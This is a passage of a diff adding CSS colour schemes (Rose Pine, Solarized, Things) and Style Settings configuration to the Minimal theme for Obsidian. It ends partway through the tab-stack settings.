--bg1: #1f1d2e; + --bg2: #191724; + --bg3: rgba(68,66,86,0.5); + --ui1: #312F41; + --ui2: #403d52; + --ui3: #524f67; + --tx1: #e0def4; + --tx2: #908caa; + --tx3: #6e6a86; + --hl1: rgba(126,121,155,0.35); +} + +.theme-dark.minimal-rose-pine-dark.minimal-dark-black { + --ui1: #21202e; +} + +/* +Solarized +MIT License +Copyright (c) 2011 Ethan Schoonover +https://ethanschoonover.com/solarized/ +*/ +.theme-dark.minimal-solarized-dark, +.theme-light.minimal-solarized-light { + --color-red-rgb: 220, 50, 47; + --color-orange-rgb: 203,77,22; + --color-yellow-rgb: 181,137,0; + --color-green-rgb: 133,153,0; + --color-cyan-rgb: 42,161,152; + --color-blue-rgb: 38,139,210; + --color-purple-rgb: 108,113,196; + --color-pink-rgb: 211,54,130; + --color-red: #dc322f; + --color-orange: #cb4b16; + --color-yellow: #b58900; + --color-green: #859900; + --color-cyan: #2aa198; + --color-blue: #268bd2; + --color-purple: #6c71c4; + --color-pink: #d33682; +} + +.theme-light.minimal-solarized-light { + --base-h: 44; + --base-s: 87%; + --base-l: 94%; + --accent-h: 205; + --accent-s: 70%; + --accent-l: 48%; + --bg1: #fdf6e3; + --bg2: #eee8d5; + --bg3: rgba(0,0,0,0.062); + --ui1: #e9e1c8; + --ui2: #d0cab8; + --ui3: #d0cab8; + --tx1: #073642; + --tx2: #586e75; + --tx3: #ABB2AC; + --tx4: #586e75; + --hl1: rgba(202,197,182,0.3); + --hl2: rgba(203,75,22,0.3); +} + +.theme-light.minimal-solarized-light.minimal-light-tonal { + --bg2: #fdf6e3; +} + +.theme-light.minimal-solarized-light.minimal-light-contrast .titlebar, +.theme-light.minimal-solarized-light.minimal-light-contrast.minimal-status-off .status-bar, +.theme-light.minimal-solarized-light.minimal-light-contrast .workspace-drawer.mod-left, +.theme-light.minimal-solarized-light.minimal-light-contrast .mod-left-split, +.theme-light.minimal-solarized-light.minimal-light-contrast .workspace-ribbon.mod-left:not(.is-collapsed), +.theme-light.minimal-solarized-light.minimal-light-contrast .theme-dark, +.theme-dark.minimal-solarized-dark { + --accent-h: 205; + --accent-s: 70%; + --accent-l: 48%; + --base-h: 193; + --base-s: 98%; + --base-l: 11%; + --bg1: #002b36; + --bg2: #073642; + --bg3: rgba(255,255,255,0.062); + --ui1: #19414B; + --ui2: #274850; + --ui3: #31535B; + --tx1: #93a1a1; + --tx2: #657b83; + --tx3: #31535B; + --tx4: #657b83; + --hl1: rgba(15,81,98,0.3); + --hl2: rgba(203, 75, 22, 0.35); +} + +.theme-dark.minimal-solarized-dark.minimal-dark-black { + --hl1: rgba(15,81,98,0.55); + --ui1: #002b36; +} + +/* Things */ +.theme-dark.minimal-things-dark, +.theme-light.minimal-things-light { + --color-red-rgb: 255,48,108; + --color-orange-rgb: 255,149,2; + --color-yellow-rgb: 255,213,0; + --color-green-rgb: 75,191,94; + --color-cyan-rgb: 73,174,164; + --color-purple-rgb: 176,81,222; + --color-pink-rgb: 255,46,85; + --color-red:#FF306C; + --color-orange:#ff9502; + --color-yellow:#FFD500; + --color-green:#4BBF5E; + --color-cyan:#49AEA4; + --color-purple:#b051de; + --color-pink:#ff2e55; +} + +.theme-light.minimal-things-light { + --color-blue-rgb: 27,97,194; + --color-blue:#1b61c2; + --accent-h:215; + --accent-s:76%; + --accent-l:43%; + --bg1:white; + --bg2:#f5f6f8; + --bg3:rgba(162,177,187,0.25); + --ui1:#eef0f4; + --ui2:#D8DADD; + --ui3:#c1c3c6; + --tx1:#26272b; + --tx2:#7D7F84; + --tx3:#a9abb0; + --hl1:#cae2ff; +} + +.theme-dark.minimal-things-dark { + --color-blue-rgb: 77,149,247; + --color-blue:#4d95f7; +} + +.theme-light.minimal-things-light.minimal-light-tonal { + --ui1:#e6e8ec; +} + +.theme-light.minimal-things-light.minimal-light-white { + --bg3:#f5f6f8; +} + +.theme-light.minimal-things-light.minimal-light-contrast .titlebar, +.theme-light.minimal-things-light.minimal-light-contrast.minimal-status-off .status-bar, +.theme-light.minimal-things-light.minimal-light-contrast .workspace-drawer.mod-left, +.theme-light.minimal-things-light.minimal-light-contrast .mod-left-split, +.theme-light.minimal-things-light.minimal-light-contrast .workspace-ribbon.mod-left:not(.is-collapsed), +.theme-light.minimal-things-light.minimal-light-contrast .theme-dark, +.theme-dark.minimal-things-dark { + --base-h:218; + --base-s:9%; + --base-l:15%; + --accent-h:215; + --accent-s:91%; + --accent-l:64%; + --bg1:#24262a; + --bg2:#202225; + --bg3:#3d3f41; + --divider-color:#17191c; + --tab-outline-color:#17191c; + --ui1:#3A3B3F; + --ui2:#45464a; + --ui3:#6c6e70; + --tx1:#fbfbfb; + --tx2:#CBCCCD; + --tx3:#6c6e70; + --hl1:rgba(40,119,236,0.35); + --sp1:#ffffff; +} + +.theme-dark.minimal-things-dark.minimal-dark-black { + --base-d:5%; + --bg3:#24262a; + --divider-color:#24262a; + --tab-outline-color:#24262a; +} +/* Plugin compatibility */ + +/* @plugins +core: +- backlink +- command-palette +- daily-notes +- file-explorer +- file-recovery +- global-search +- graph +- outgoing-link +- outline +- page-preview +- publish +- random-note +- starred +- switcher +- sync +- tag-pane +- word-count +community: +- buttons +- dataview +- calendar +- obsidian-charts +- obsidian-checklist-plugin +- obsidian-codemirror-options +- obsidian-dictionary-plugin +- obsidian-embedded-note-titles +- obsidian-excalidraw-plugin +- obsidian-git +- obsidian-hider +- obsidian-hover-editor +- obsidian-kanban +- obsidian-metatable +- obsidian-minimal-settings +- obsidian-outliner +- obsidian-system-dark-mode +- obsidian-style-settings +- quickadd +- sliding-panes-obsidian +- todoist-sync-plugin +*/ + +/* @settings + +name: Minimal +id: minimal-style +settings: + - + id: instructions + title: Documentation + type: heading + level: 2 + collapsed: true + description: Use the Minimal Theme Settings plugin to set hotkeys, adjust features, select fonts, and choose from preset color schemes. Use the settings below for more granular customization. Go to https://minimal.guide for documentation. + - + id: interface + title: Interface colors + type: heading + level: 2 + collapsed: true + - + id: base + title: Base color + description: Defines all background and border colors unless overridden in more granular settings + type: variable-themed-color + format: hsl-split + default-light: '#' + default-dark: '#' + - + id: bg1 + title: Primary background + description: Background color for the main window + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: bg2 + title: Secondary background + description: Background color for left sidebar and menus + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: bg3 + title: Active background + description: Background color for hovered buttons and currently selected file + type: variable-themed-color + opacity: true + format: hex + default-light: '#' + default-dark: '#' + - + id: ui1 + title: Border color + type: variable-themed-color + description: For buttons, divider lines, and outlined elements + opacity: true + format: hex + default-light: '#' + default-dark: '#' + - + id: ui2 + title: Highlighted border color + description: Used when hovering over buttons, dividers, and outlined elements + type: variable-themed-color + opacity: true + format: hex + default-light: '#' + default-dark: '#' + - + id: ui3 + title: Active border color + description: Used when clicking buttons and outlined elements + type: variable-themed-color + opacity: true + format: hex + default-light: '#' + default-dark: '#' + - + id: accent-color + title: Accent color + type: heading + level: 2 + collapsed: true + - + id: ax1 + title: Accent color + type: variable-themed-color + description: Used primarily for links + format: hex + default-light: '#' + default-dark: '#' + - + id: ax2 + title: Accent color (hover) + type: variable-themed-color + description: Used primarily for hovered links + format: hex + default-light: '#' + default-dark: '#' + - + id: ax3 + title: Accent color interactive + type: variable-themed-color + description: Used for buttons, checklists, toggles + format: hex + default-light: '#' + default-dark: '#' + - + id: sp1 + title: Text on accent + type: variable-themed-color + description: Used primarily for text on accented buttons + format: hex + default-light: '#' + default-dark: '#' + - + id: extended-palette + title: Extended colors + type: heading + level: 2 + collapsed: true + - + id: color-red + title: Red + description: Extended palette colors are defaults used for progress bar status, syntax highlighting, colorful headings, and graph nodes + type: variable-themed-color + opacity: true + format: hex + default-light: '#' + default-dark: '#' + - + id: color-orange + title: Orange + type: variable-themed-color + opacity: true + format: hex + default-light: '#' + default-dark: '#' + - + id: color-yellow + title: Yellow + type: variable-themed-color + opacity: true + format: hex + default-light: '#' + default-dark: '#' + - + id: color-green + title: Green + type: variable-themed-color + opacity: true + format: hex + default-light: '#' + default-dark: '#' + - + id: color-cyan + title: Cyan + type: variable-themed-color + opacity: true + format: hex + default-light: '#' + default-dark: '#' + - + id: color-blue + title: Blue + type: variable-themed-color + opacity: true + format: hex + default-light: '#' + default-dark: '#' + - + id: color-purple + title: Purple + type: variable-themed-color + opacity: true + format: hex + default-light: '#' + default-dark: '#' + - + id: color-pink + title: Pink + type: variable-themed-color + opacity: true + format: hex + default-light: '#' + default-dark: '#' + - + id: bases + title: Bases + type: heading + level: 2 + collapsed: true + - + id: bases-toolbar-opacity + title: Toolbar opacity + type: variable-number-slider + default: 1 + min: 0 + max: 1 + step: 0.05 + - + id: bases-table-header-icon-display + title: Table header icons + type: variable-select + allowEmpty: false + default: flex + options: + - + label: Visible + value: flex + - + label: Hidden + value: none + - + id: bases-table-row-height + title: Table row height + type: variable-number + default: 30 + format: px + - + id: blockquotes + title: Blockquotes + type: heading + level: 2 + collapsed: true + - + id: blockquote-color + title: Blockquote text color + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: blockquote-background-color + title: Blockquote background color + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: blockquote-border-color + title: Blockquote border color + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: blockquote-border-thickness + title: Blockquote border thickness + type: variable-number-slider + format: px + default: 1 + min: 0 + max: 5 + step: 1 + - + id: blockquote-size + title: Blockquote font size + description: Accepts any CSS font-size value + type: variable-text + default: '' + - + id: blockquote-font-style + title: Blockquote font style + type: variable-select + allowEmpty: false + default: normal + options: + - + label: Normal + value: normal + - + label: Italic + value: italic + - + id: callouts + title: Callouts + type: heading + level: 2 + collapsed: true + - + id: callouts-style + title: Callout style + type: class-select + allowEmpty: false + default: callouts-default + options: + - + label: Filled + value: callouts-default + - + label: Outlined + value: callouts-outlined + - + id: callout-blend-mode + title: Color blending + description: Blend the color of nested callouts + type: variable-select + allowEmpty: false + default: var(--highlight-mix-blend-mode) + options: + - + label: On + value: var(--highlight-mix-blend-mode) + - + label: Off + value: normal + - + id: canvas + title: Canvas + type: heading + level: 2 + collapsed: true + - + id: canvas-dot-pattern + title: Canvas dot pattern + description: Color for background dot pattern + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: code-blocks + title: Code blocks + type: heading + level: 2 + collapsed: true + - + id: code-size + title: Code font size + description: Accepts any CSS font-size value + type: variable-text + default: 0.8em + - + id: minimal-code-scroll + title: Scroll long lines + description: Turns off line wrap for code + type: class-toggle + default: false + - + id: code-background + title: Code background color + description: Background for code blocks + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: code-normal + title: Code text color + description: Color of code when syntax highlighting is not present + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: syntax-highlighting + title: Syntax highlighting + type: heading + level: 3 + collapsed: false + - + id: code-comment + title: "Syntax: comments" + description: Syntax highlighting for comments + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: code-function + title: "Syntax: functions" + description: Syntax highlighting for functions + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: code-keyword + title: "Syntax: keywords" + description: Syntax highlighting for keywords + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: code-important + title: "Syntax: important" + description: Syntax highlighting for important text + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: code-operator + title: "Syntax: operators" + description: Syntax highlighting for operators + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: code-property + title: "Syntax: properties" + description: Syntax highlighting for properties + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: code-punctuation + title: "Syntax: punctuation" + description: Syntax highlighting for punctuation + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: code-string + title: "Syntax: strings" + description: Syntax highlighting for strings + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: code-tag + title: "Syntax: tags" + description: Syntax highlighting for tags + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: code-value + title: "Syntax: values" + description: Syntax highlighting for values + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: dataview + title: Dataview + type: heading + level: 2 + collapsed: true + - + id: trim-cols + title: Trim Dataview columns + description: Disables word wrapping in table cells, and trims long text + type: class-toggle + default: true + - + id: dataview-inline-lists + title: Force tables lists inline + description: Makes lists inside of table cells inline and comma separated + type: class-toggle + default: false + - + id: max-col-width + title: Dataview maximum column width + description: Maximum width for Dataview columns, accepts any CSS width value + type: variable-text + default: 18em + - + id: embed-blocks + title: Embeds and transclusions + type: heading + level: 2 + collapsed: true + - + id: embed-strict + title: Use strict embed style globally + description: Transclusions appear seamlessly in the flow of text. Can be enabled per file using the embed-strict helper class + type: class-toggle + default: false + - + id: embed-hide-title + title: Hide embed titles + description: Hide title of the transcluded file (if strict embed is off) + type: class-toggle + default: false + - + id: embed-underline + title: Underline embedded text + description: Transcluded text is underlined. Can be enabled per file using the embed-underline helper class + type: class-toggle + default: false + - + id: embed-max-height + title: Maximum height of embeds + type: variable-text + description: For transcluded text, accepts valid CSS units + default: '' + - + id: embed-decoration-style + title: Embedded text underline style + type: variable-select + description: Requires underlines to be enabled + allowEmpty: true + default: solid + options: + - + label: Solid + value: solid + - + label: Dashed + value: dashed + - + label: Dotted + value: dotted + - + label: Double + value: double + - + label: Wavy + value: wavy + - + id: embed-decoration-color + title: Embedded text underline color + type: variable-themed-color + description: Requires underlines to be enabled + format: hex + default-light: '#' + default-dark: '#' + - + id: embed-background + title: Embed background + type: variable-themed-color + opacity: true + format: hex + default-light: '#' + default-dark: '#' + - + id: graphs + title: Graphs + type: heading + level: 2 + collapsed: true + - + id: graph-line + title: Line color + description: Changing graph colors requires closing and reopening graph panes or restarting Obsidian + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: graph-node + title: Node color + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: graph-node-focused + title: Active node color + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: graph-node-tag + title: Tag node color + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: graph-node-attachment + title: Attachment node color + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: graph-node-unresolved + title: Unresolved node color + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: headings + title: Headings + type: heading + level: 2 + collapsed: true + - + id: level-1-headings + title: Level 1 Headings + type: heading + level: 3 + collapsed: true + - + id: h1-font + title: H1 font + description: Name of the font as it appears on your system + type: variable-text + default: '' + - + id: h1-size + title: H1 font size + description: Accepts any CSS font-size value + type: variable-text + default: 1.125em + - + id: h1-weight + title: H1 font weight + type: variable-number-slider + default: 600 + min: 100 + max: 900 + step: 100 + - + id: h1-color + title: H1 text color + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: h1-variant + title: H1 font variant + type: variable-select + allowEmpty: false + default: normal + options: + - + label: Normal + value: normal + - + label: Small caps + value: small-caps + - + label: All small caps + value: all-small-caps + - + id: h1-style + title: H1 font style + type: variable-select + allowEmpty: false + default: normal + options: + - + label: Normal + value: normal + - + label: Italic + value: italic + - + id: h1-l + title: H1 divider line + description: Adds a border below the heading + type: class-toggle + default: false + - + id: level-2-headings + title: Level 2 Headings + type: heading + level: 3 + collapsed: true + - + id: h2-font + title: H2 font + description: Name of the font as it appears on your system + type: variable-text + default: '' + - + id: h2-size + title: H2 font size + description: Accepts any CSS font-size value + type: variable-text + default: 1em + - + id: h2-weight + title: H2 font weight + type: variable-number-slider + default: 600 + min: 100 + max: 900 + step: 100 + - + id: h2-color + title: H2 text color + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: h2-variant + title: H2 font variant + type: variable-select + allowEmpty: false + default: normal + options: + - + label: Normal + value: normal + - + label: Small caps + value: small-caps + - + label: All small caps + value: all-small-caps + - + id: h2-style + title: H2 font style + type: variable-select + allowEmpty: false + default: normal + options: + - + label: Normal + value: normal + - + label: Italic + value: italic + - + id: h2-l + title: H2 divider line + description: Adds a border below the heading + type: class-toggle + default: false + - + id: level-3-headings + title: Level 3 Headings + type: heading + level: 3 + collapsed: true + - + id: h3-font + title: H3 font + description: Name of the font as it appears on your system + type: variable-text + default: '' + - + id: h3-size + title: H3 font size + description: Accepts any CSS font-size value + type: variable-text + default: 1em + - + id: h3-weight + title: H3 font weight + type: variable-number-slider + default: 600 + min: 100 + max: 900 + step: 100 + - + id: h3-color + title: H3 text color + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: h3-variant + title: H3 font variant + type: variable-select + allowEmpty: false + default: normal + options: + - + label: Normal + value: normal + - + label: Small caps + value: small-caps + - + label: All small caps + value: all-small-caps + - + id: h3-style + title: H3 font style + type: variable-select + allowEmpty: false + default: normal + options: + - + label: Normal + value: normal + - + label: Italic + value: italic + - + id: h3-l + title: H3 divider line + description: Adds a border below the heading + type: class-toggle + default: false + - + id: level-4-headings + title: Level 4 Headings + type: heading + level: 3 + collapsed: true + - + id: h4-font + title: H4 font + description: Name of the font as it appears on your system + type: variable-text + default: '' + - + id: h4-size + title: H4 font size + description: Accepts any CSS font-size value + type: variable-text + default: 0.9em + - + id: h4-weight + title: H4 font weight + type: variable-number-slider + default: 500 + min: 100 + max: 900 + step: 100 + - + id: h4-color + title: H4 text color + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: h4-variant + title: H4 font variant + type: variable-select + allowEmpty: false + default: small-caps + options: + - + label: Normal + value: normal + - + label: Small caps + value: small-caps + - + label: All small caps + value: all-small-caps + - + id: h4-style + title: H4 font style + type: variable-select + allowEmpty: false + default: normal + options: + - + label: Normal + value: normal + - + label: Italic + value: italic + - + id: h4-l + title: H4 divider line + description: Adds a border below the heading + type: class-toggle + default: false + - + id: level-5-headings + title: Level 5 Headings + type: heading + level: 3 + collapsed: true + - + id: h5-font + title: H5 font + description: Name of the font as it appears on your system + type: variable-text + default: '' + - + id: h5-size + title: H5 font size + description: Accepts any CSS font-size value + type: variable-text + default: 0.85em + - + id: h5-weight + title: H5 font weight + type: variable-number-slider + default: 500 + min: 100 + max: 900 + step: 100 + - + id: h5-color + title: H5 text color + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: h5-variant + title: H5 font variant + type: variable-select + allowEmpty: false + default: small-caps + options: + - + label: Normal + value: normal + - + label: Small caps + value: small-caps + - + label: All small caps + value: all-small-caps + - + id: h5-style + title: H5 font style + type: variable-select + allowEmpty: false + default: normal + options: + - + label: Normal + value: normal + - + label: Italic + value: italic + - + id: h5-l + title: H5 divider line + description: Adds a border below the heading + type: class-toggle + default: false + - + id: level-6-headings + title: Level 6 Headings + type: heading + level: 3 + collapsed: true + - + id: h6-font + title: H6 font + description: Name of the font as it appears on your system + type: variable-text + default: '' + - + id: h6-size + title: H6 font size + description: Accepts any CSS font-size value + type: variable-text + default: 0.85em + - + id: h6-weight + title: H6 font weight + type: variable-number-slider + default: 400 + min: 100 + max: 900 + step: 100 + - + id: h6-color + title: H6 text color + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: h6-variant + title: H6 font variant + type: variable-select + allowEmpty: false + default: small-caps + options: + - + label: Normal + value: normal + - + label: Small caps + value: small-caps + - + label: All small caps + value: all-small-caps + - + id: h6-style + title: H6 font style + type: variable-select + allowEmpty: false + default: normal + options: + - + label: Normal + value: normal + - + label: Italic + value: italic + - + id: h6-l + title: H6 divider line + type: class-toggle + description: Adds a border below the heading + default: false + - + id: icons + title: Icons + type: heading + level: 2 + collapsed: true + - + id: icon-muted + title: Icon opacity (inactive) + type: variable-number-slider + default: 0.5 + min: 0.25 + max: 1 + step: 0.05 + - + id: icon-color + title: Icon color + type: variable-themed-color + opacity: true + format: hex + default-light: '#' + default-dark: '#' + - + id: icon-color-hover + title: Icon color (hover) + type: variable-themed-color + opacity: true + format: hex + default-light: '#' + default-dark: '#' + - + id: icon-color-active + title: Icon color (active) + type: variable-themed-color + opacity: true + format: hex + default-light: '#' + default-dark: '#' + - + id: icon-color-focused + title: Icon color (focused) + type: variable-themed-color + opacity: true + format: hex + default-light: '#' + default-dark: '#' + - + id: images + title: Images + type: heading + level: 2 + collapsed: true + - + id: image-muted + title: Image opacity in dark mode + description: Level of fading for images in dark mode. Hover over images to display at full brightness. + type: variable-number-slider + default: 0.7 + min: 0.25 + max: 1 + step: 0.05 + - + id: image-radius + title: Image radius + description: Rounded corners for images + type: variable-number-slider + default: 4 + min: 0 + max: 16 + step: 1 + format: px + - + id: image-blend-light + title: Blend images in light mode + description: Allow images to blend into the color scheme background color + type: class-toggle + default: false + - + id: image-grid-fit + title: Image grid crop + description: Sets how images get cropped in a grid + type: variable-select + default: cover + options: + - + label: Crop to fit + value: cover + - + label: Show full image + value: contain + - + id: image-grid-background + title: Image grid background + description: Background of images in cells, useful when images are not cropped to fit + type: variable-themed-color + opacity: true + format: hex + default-light: '#' + default-dark: '#' + - + id: indentation-guides + title: Indentation guides + type: heading + level: 2 + collapsed: true + - + id: indentation-guide-color + title: Indentation guide color + type: variable-themed-color + format: hex + opacity: true + default-light: '#' + default-dark: '#' + - + id: indentation-guide-color-active + title: Indentation guide color (active) + type: variable-themed-color + format: hex + opacity: true + default-light: '#' + default-dark: '#' + - + id: links + title: Links + type: heading + level: 2 + collapsed: true + - + id: links-internal + title: Internal links + type: heading + level: 3 + collapsed: true + - + id: link-color + title: Internal link color + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: link-color-hover + title: Internal link color (hover) + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: link-unresolved-opacity + title: Unresolved link opacity + type: variable-number-slider + default: 0.7 + min: 0.25 + max: 1 + step: 0.05 + - + id: link-unresolved-color + title: Unresolved link color + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: link-unresolved-decoration-color + title: Unresolved link underline color + type: variable-themed-color + format: hex + opacity: true + default-light: '#' + default-dark: '#' + - + id: links-external + title: External links + type: heading + level: 3 + collapsed: true + - + id: link-external-color + title: External link color + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: link-external-color-hover + title: External link color (hover) + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: active-line + title: Line numbers + type: heading + level: 2 + collapsed: true + - + id: active-line-on + title: Highlight active line + description: Adds a background to current line in editor + type: class-toggle + default: false + - + id: folding-offset + title: Gutter offset + description: Width of the file margin used for gutter + type: variable-number-slider + default: 32 + min: 0 + max: 60 + step: 1 + format: px + - + id: gutter-background + title: Gutter background + type: variable-themed-color + format: hex + opacity: true + default-light: '#' + default-dark: '#' + - + id: line-number-color + title: Line number color + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: line-number-color-active + title: Active line number color + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: active-line-bg + title: Active line background + description: Using a low opacity color is recommended to avoid conflicting with highlights + type: variable-themed-color + opacity: true + format: hex + default-light: '#' + default-dark: '#' + - + id: lists + title: Lists and tasks + type: heading + level: 2 + collapsed: true + - + id: checkbox-color + title: Checkbox color + description: Background color for completed tasks + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: checkbox-shape + title: Checkbox shape + type: class-select + allowEmpty: false + default: checkbox-circle + options: + - + label: Circle + value: checkbox-circle + - + label: Square + value: checkbox-square + - + id: minimal-strike-lists + title: Strike completed tasks + description: Adds strikethrough line and greyed text for completed tasks + type: class-toggle + default: false + - + id: list-spacing + title: List item spacing + description: Vertical space between list items in em units + type: variable-number-slider + default: 0.075 + min: 0 + max: 0.3 + step: 0.005 + format: em + - + id: list-indent + title: Nested list indentation + description: Horizontal space from left in em units + type: variable-number-slider + default: 2 + min: 1 + max: 3.5 + step: 0.1 + format: em + - + id: pdf + title: PDFs + type: heading + level: 2 + collapsed: true + - + id: pdf-page-style + title: PDF page style + description: Borders and shadows around pages + type: class-select + allowEmpty: false + default: pdf-seamless-on + options: + - + label: Seamless + value: pdf-seamless-on + - + label: Shadows + value: pdf-shadows-on + - + id: pdf-invert-dark + title: Invert PDFs in dark mode + description: Best for working with black text on white pages + type: class-toggle + default: true + - + id: pdf-blend-light + title: Blend PDFs in light mode + description: Allow PDFs to blend into the color scheme background color + type: class-toggle + default: true + - + id: pdf-dark-opacity + title: PDF opacity in dark mode + description: Fade PDF pages in dark mode + type: variable-number-slider + default: 1 + min: 0.25 + max: 1 + step: 0.05 + - + id: progress + title: Progress bars + type: heading + level: 2 + collapsed: true + - + id: progress-complete + title: Completed progress bar color + description: Defaults to your accent color + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: properties + title: Properties + type: heading + level: 2 + collapsed: true + - + id: metadata-heading-off + title: Hide properties heading + description: Hide "Properties" heading above properties + type: class-toggle + default: false + - + id: metadata-add-property-off + title: Hide "Add property" button + description: Hide "Add property" button below properties + type: class-toggle + default: false + - + id: metadata-icons-off + title: Hide property icons + description: Hide icons next to property names + type: class-toggle + default: false + - + id: metadata-dividers + title: Property row lines + description: Display borders between properties + type: class-toggle + default: false + - + id: metadata-label-width-multiplier + title: Property name width + description: Width for the name of the property + type: variable-number-slider + default: 9 + min: 4 + max: 12 + step: 0.25 + - + id: sidebars + title: Sidebars + type: heading + level: 2 + collapsed: true + - + id: sidebar-tabs-style + title: Sidebar tab style + type: class-select + allowEmpty: false + default: sidebar-tabs-default + options: + - + label: Index round + value: sidebar-tabs-index + - + label: Index square + value: sidebar-tabs-square + - + label: Modern compact + value: sidebar-tabs-default + - + label: Modern wide + value: sidebar-tabs-wide + - + label: Square + value: sidebar-tabs-plain-square + - + label: Underline + value: sidebar-tabs-underline + - + id: sidebar-tabs-names + title: Sidebar tab names + type: class-select + allowEmpty: false + default: tab-names-off + options: + - + label: Hidden + value: tab-names-off + - + label: Visible + value: tab-names-on + - + label: Single tab only + value: tab-names-single + - + id: vault-profile-display + title: Vault profile position + type: class-select + allowEmpty: false + default: vault-profile-default + options: + - + label: Bottom + value: vault-profile-default + - + label: Top + value: vault-profile-top + - + id: hide-help + title: Hide help button + description: + type: class-toggle + default: false + - + id: hide-settings + title: Hide settings button + description: + type: class-toggle + default: false + - + id: mobile-left-sidebar-width + title: Mobile left sidebar width + description: Maximum width for pinned left sidebar on mobile + type: variable-number + default: 280 + format: pt + - + id: mobile-right-sidebar-width + title: Mobile right sidebar width + description: Maximum width for pinned right sidebar on mobile + type: variable-number + default: 240 + format: pt + - + id: ribbon + title: Ribbon + type: heading + level: 2 + collapsed: true + - + id: ribbon-style + title: Ribbon style + description: Display options for ribbon menu. Ribbon must be turned on in Obsidian Appearance settings for these options to work. + type: class-select + allowEmpty: false + default: ribbon-hidden + options: + - + label: Default + value: ribbon-hidden + - + label: Expand (vertical) + value: ribbon-vertical-expand + - + label: Hover (vertical) + value: ribbon-bottom-left-hover-vertical + - + label: Hover (horizontal) + value: ribbon-bottom-left-hover + - + id: tables + title: Tables + type: heading + level: 2 + collapsed: true + - + id: table-text-size + title: Table font size + description: All of the following settings apply to all tables globally. To turn on these features on a per-note basis use helper classes. See documentation. + type: variable-text + default: 1em + - + id: table-column-min-width + title: Minimum column width + type: variable-text + default: 6ch + - + id: table-column-max-width + title: Maximum column width + type: variable-text + default: none + - + id: maximize-tables-off + title: Maximize table width + description: Determines how wide tables should behave when they become wider than the line width + type: class-select + allowEmpty: false + default: maximize-tables-off + options: + - + label: Fit to line width + value: maximize-tables-off + - + label: Overflow line width + value: maximize-tables-auto + - + label: Always fill + value: maximize-tables + - + id: row-lines + title: Row lines + description: Display borders between table rows globally + type: class-toggle + default: false + - + id: col-lines + title: Column lines + description: Display borders between table columns globally + type: class-toggle + default: false + - + id: table-lines + title: Cell lines + description: Display borders around all table cells globally + type: class-toggle + default: false + - + id: row-alt + title: Striped rows + description: Display striped background in alternating table rows globally + type: class-toggle + default: false + - + id: col-alt + title: Striped columns + description: Display striped background in alternating table columns globally + type: class-toggle + default: false + - + id: table-tabular + title: Tabular figures + description: Use fixed width numbers in tables globally + type: class-toggle + default: false + - + id: table-numbers + title: Row numbers + description: Display row numbers in tables globally + type: class-toggle + default: false + - + id: table-center + title: Center small tables + description: Make small tables centered + type: class-toggle + default: false + - + id: table-nowrap + title: Disable line wrap + description: Turn off line wrapping in table cells globally + type: class-toggle + default: false + - + id: row-hover + title: Highlight active row + description: Highlight rows on hover + type: class-toggle + default: false + - + id: table-row-background-hover + title: Active row background + description: Background color for hovered tables rows + type: variable-themed-color + format: hex + opacity: true + default-light: '#' + default-dark: '#' + - + id: tabs + title: Tabs + type: heading + level: 2 + collapsed: true + - + id: header-height + title: Tab bar height + type: variable-text + default: 40px + - + id: tabs-style + title: Tab style + type: class-select + allowEmpty: false + default: tabs-default + options: + - + label: Index round + value: tabs-default + - + label: Index square + value: tabs-square + - + label: Modern + value: tabs-modern + - + label: Square + value: tabs-plain-square + - + label: Underline + value: tabs-underline + - + id: minimal-tab-text-color + title: Tab text color + type: variable-themed-color + format: hex + opacity: true + default-light: '#' + default-dark: '#' + - + id: minimal-tab-text-color-active + title: Tab text color (active) + type: variable-themed-color + format: hex + opacity: true + default-light: '#' + default-dark: '#' + - + id: tab-stacks + title: Tab stacks + type: heading + level: 2 + collapsed: true + - + id: tab-stacked-pane-width + title: Stacked width + type: variable-number + description: Width of a stacked tab in pixels + default: 700 + format: px + - + id: tab-stacked-header-width + title: Spine width + type: variable-number + description: Width of the spine in pixels + default: 40 + format: px + - + id: tab-stacked-spine-orientation + title: Spine text orientation + type: class-select + default: 